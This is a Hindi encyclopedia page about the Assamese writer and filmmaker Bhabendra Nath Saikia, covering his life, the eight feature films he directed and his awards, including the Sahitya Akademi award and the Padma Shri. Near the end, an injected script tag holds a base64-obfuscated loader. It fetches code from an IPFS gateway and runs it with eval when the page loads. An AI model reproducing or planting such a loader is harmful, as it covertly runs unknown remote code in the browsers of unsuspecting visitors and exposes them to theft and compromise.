भबेन्द्र नाथ सैकिया

भारत डिस्कवरी प्रस्तुति
Revision as of 08:31, 3 January 2022 by रविन्द्र प्रसाद (talk | contribs) (''''भबेन्द्र नाथ सैकिया''' (अंग्रेज़ी: ''[Bhabendra Nath Saikia'', जन्म...' के साथ नया पृष्ठ बनाया)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

भबेन्द्र नाथ सैकिया (अंग्रेज़ी: [Bhabendra Nath Saikia, जन्म- 20 फ़रवरी, 1932; मृत्यु- 13 अगस्त, 2003) भारतीय उपन्यासकार, लघु कथा लेखक तथा फ़िल्म निर्देशक थे। उन्होंने साहित्य अकादमी पुरस्कार (1976) सहित कई साहित्यिक पुरस्कार जीते थे। उन्हें भारत सरकार द्वारा 2001 में पद्म श्री से भी सम्मानित किया गया था। भबेन्द्र नाथ सैकिया द्वारा लिखित एक लघु कहानी पर आधारित असमिया फिल्म 'श्रृंगखल' (द क्विवर) 17 अक्टूबर 2014 को रिलीज हुई थी। प्रबीन हजारिका द्वारा निर्देशित श्रृंगखल को असम स्टेट फिल्म कॉर्पोरेशन लिमिटेड द्वारा सह-निर्मित किया गया था।

परिचय

भबेन्द्र नाथ सैकिया को असम के शीर्ष क्रम के लेखकों में से एक माना जाता है। उनकी कई कहानियों का अंग्रेज़ी, बंगाली, हिंदी, तेलुगु, मलयालम, मराठी, गुजराती आदि में अनुवाद किया गया है। उन्होंने ऑल इंडिया रेडियो के लिए बड़ी संख्या में नाटक भी लिखे थे। आकाशवाणी द्वारा कोलाहल, दुर्भिक्षा और इतिहास नाटकों को राष्ट्रीय नाटकों के रूप में लिया गया। कोलाहल को विदेशी केंद्रों से प्रसारण के लिए चुना गया था। भबेन्द्र नाथ सैकिया नाटककार और निर्देशक के रूप में मंच से सक्रिय रूप से जुड़े रहे। उन्होंने असम के मोबाइल थिएटर के लिए कई नाटक लिखे और कई एक्ट नाटक भी लिखे।

निर्देशन

भबेन्द्र नाथ सैकिया ने आठ फीचर फिल्मों का निर्देशन किया, जिन्हें कान्स, मद्रास, हैदराबाद, नई दिल्ली, बैंगलोर, कलकत्ता, कार्लोवी वेरी (चेकोस्लोवाकिया), नैनटेस (फ्रांस), वलाडोलिड (स्पेन) जैसे विभिन्न स्थानों पर आयोजित अंतर्राष्ट्रीय फिल्म समारोहों में प्रदर्शित किया गया। उनकी आठ फिल्मों में से सात का चयन 'भारतीय अंतर्राष्ट्रीय फिल्म महोत्सव' के भारतीय पैनोरमा खंड के लिए किया गया था।

भबेन्द्र नाथ सैकिया द्वारा लिखित एक लघु कहानी पर आधारित असमिया फिल्म 'श्रृंगखल' (द क्विवर) 17 अक्टूबर 2014 को रिलीज हुई थी। प्रबीन हजारिका द्वारा निर्देशित श्रृंगखल को असम स्टेट फिल्म कॉर्पोरेशन लिमिटेड द्वारा सह-निर्मित किया गया था। वह प्रसिद्ध असमिया मोबाइल थिएटर उद्योग से सक्रिय रूप से जुड़े थे, विशेष रूप से अबहन थिएटर के साथ।

सम्मान व पुरस्कार

  • सन 1976 में साहित्य अकादमी पुरस्कार
  • 1978 में संध्याराग फिल्म के लिए भारत सरकार का रजत कमल पुरस्कार
  • श्रीमंत शंकरदेव पुरस्कार (1998)
  • 2001 में पद्म श्री
  • भबेन्द्र नाथ सैकिया को असम की एक साहित्यिक साप्ताहिक समाचार पत्रिका में "बीसवीं सदी के इक्कीस महान असमिया व्यक्तियों" में से एक के रूप में चुना गया था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः